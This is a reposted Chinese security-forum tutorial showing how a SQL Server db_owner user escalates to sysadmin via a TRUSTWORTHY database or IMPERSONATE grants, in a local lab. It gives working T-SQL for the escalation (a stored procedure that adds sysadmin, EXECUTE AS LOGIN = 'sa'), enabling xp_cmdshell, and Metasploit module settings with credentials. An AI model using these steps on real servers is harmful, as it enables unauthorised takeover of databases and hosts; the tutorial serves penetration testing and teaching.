学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-8-30 20:41:44 | 查看: 5041| 回复: 0

相关题目:

这是 酒仙桥六号部队 的第 70篇文章。
全文共计1656个字,预计阅读时长6分钟。

前言

前阵子和某项目的成员交流,谈到了一个问题。在渗透测试过程中,如果挖到了sql注入点,可能要面对一个困难,就是当前的数据库用户是dbo权限,没法进一步提权,就只能做信息收集,再试试管理员后台。以SQL Server为例,网上很多文章是介绍dba提权,通过开启xp_cmdshell等操作,拿下整个服务器的管理员权限。反而,鲜有介绍dbo权限要如何提权。于是找到了国外研究员发现的两个开发人员配置不当问题,可能导致普通数据库用户db owner提权到sysadmin,两个漏洞分别是设置了可信数据库以及允许用户角色模拟。
1.漏洞介绍

由于SQL Server数据库开发者的配置不当,设置了可信数据库或者允许用户角色模拟,导致可以dbo提权到dba。没有具体的CVE编号,理论上具有一定的通用性。如果在实战中遇到了瓶颈,不妨一试。
  • 可信数据库(Trustworthy Databases):据Microsoft指出,一个数据库管理员在配置可信数据库的权限时,会有意无意的导致非特权帐户提升权限。TRUSTWORTHY 数据库属性用于指明 SQL Server 实例是否信任该数据库以及其中的内容。默认情况下,此设置为 OFF。需要 sysadmin角色成员(比如sa)权限才能修改设置。如果有sysadmin角色成员设置了某个可信数据库,该可信数据库的db owner就可能利用这个漏洞提权到sysadmin。
  • 用户模拟(User Impersonation):有时为了某些需求,要从应用程序的数据库访问外部资源,开发人员使用了模拟特权(IMPERSONATE privilege),导致了当前用户可以模拟其它用户的权限。

2.测试环境

  • Windows Server 2008 R2 x64
  • SQL Server 2014
  • Kali Linux 2020.2(VMware)

请确保开启了混合验证模式并且以LocalSystem权限运行服务。
3.可信数据库

3.1预设存在漏洞的配置
打开SQL Server Management Studio,登录sa用户 。

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
点击“新建查询”,创建数据库名为“TestDb”。
CREATE DATABASE TestDb;
  

新建测试用户TestUser。
CREATE LOGIN TestUser WITH PASSWORD = 'Passw0rd';
  

使用如下的TSQL语句,数据库TestDb的db_owner权限赋予给用户TestUser。
USE TestDb
  ALTER LOGIN [TestUser] with default_database = [TestDb];
  CREATE USER [TestUser] FROM LOGIN [TestUser];
  EXEC sp_addrolemember [db_owner], [TestUser];
  

设置TestDb数据库为可信,这个是漏洞存在的关键。
ALTER DATABASE TestDb SET TRUSTWORTHY ON
  

下面的查询语句会返回SQL Server实例中所有的数据库中,可信数据库的标记情况,is_trustworthy_on开关为1即可信。可以看到TestDb已设置为可信数据库。
SELECT a.name,b.is_trustworthy_on
  FROM master..sysdatabases as a
  INNER JOIN sys.databases as b
  ON a.name=b.name;
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
3.2漏洞利用过程
使用TestUser用户登录数据库。

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
尝试开启xp_cmdshell,可以看到权限不够。
EXEC sp_configure 'show advanced options','1' --确保show advances options 的值为1
  RECONFIGURE
  GO
  EXEC sp_configure 'xp_cmdshell',1 --开启xp_cmdshell
  RECONFIGURE
  GO
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
查询是否sysadmin角色权限,显示0,还不是sysadmin权限。
SELECT is_srvrolemember('sysadmin')
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
创建存储过程sp_elevate_me。
USE TestDb
  GO
  CREATE PROCEDURE sp_elevate_me
  WITH EXECUTE AS OWNER
  AS
  EXEC sp_addsrvrolemember 'TestUser','sysadmin'
  GO
  

接下来,执行上述sp_elevate_me存储过程,给TestUser用户添加sysadmin角色。
USE TestDb
  EXEC sp_elevate_me
  

再次尝试开启xp_cmdshell,并且执行whoami。看到漏洞利用成功了。

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
3.3 msf自动化提权
msf已经内置了攻击模块
auxiliary/admin/mssql/mssql_escalate_dbowner,直接调用即可。如果是从sql注入点提权,就使用模块
mssql_escalate_dbowner_sqli。
我的攻击参数配置如下:
use auxiliary/admin/mssql/mssql_escalate_dbowner
  SET RHOSTS 192.168.234.130
  SET USERNAME TestUser
  SET PASSWORD Passw0rd
  run
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
4.用户模拟

4.1预设存在漏洞的配置
使用sa帐户登录SQL Server,创建4个新用户。
CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
  CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
  CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
  CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
赋予用户MyUser1权限模拟 MyUser2, MyUser3,及sa,这个是漏洞存在的关键。在实战中,未必能遇到模拟sa用户特权的情况,但如果开发人员模拟了MyUser2或者MyUser3,就能从MyUser1访问其它数据库资源。
USE master;
  GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
  GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
  GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
  GO
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
4.2漏洞利用过程
切换MyUser1用户登录数据库。
执行如下SQL语句,可以快速找到允许被模拟的用户列表。
SELECT distinct b.name
  FROM sys.server_permissions a
  INNER JOIN sys.server_principals b
  ON a.grantor_principal_id = b.principal_id
  WHERE a.permission_name = 'IMPERSONATE'
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
执行下面语言,在执行了EXECUTE AS LOGIN语句后,成功模拟sa用户特权。
SELECT SYSTEM_USER
  SELECT IS_SRVROLEMEMBER('sysadmin')
  EXECUTE AS LOGIN = 'sa'
  SELECT SYSTEM_USER
  SELECT IS_SRVROLEMEMBER('sysadmin')
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
4.3 msf自动化提权
同样的,这个漏洞也有对应的msf攻击模块。如果是从sql注入点提权,就选择mssql_escalate_execute_as_sqli。
我的攻击参数配置如下:
use auxiliary/admin/mssql/mssql_escalate_execute_as
  set RHOSTS 192.168.234.130
  set USERNAME MyUser1
  set PASSWORD MyPassword!
  run
  

浅谈SQL Server从DBO用户提权到DBA的两种思路

浅谈SQL Server从DBO用户提权到DBA的两种思路
5.总结

本文讲述了数据库开发人员存在两种常见的SQL Server错误配置,导致攻击者可以从DBO用户提权到DBA,分别是设置可信数据库,以及允许用户模拟。本地部署漏洞环境,逐步讲解漏洞利用过程,最后分别使用msf模块演示自动化提权。
参考资料
Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases
  Hacking SQL Server Stored Procedures – Part 2: User Impersonation
  Guidelines for using the TRUSTWORTHY database setting in SQL Server
  Extending Database Impersonation by Using EXECUTE AS
  



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-26 16:27 , Processed in 0.101515 second(s), 42 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表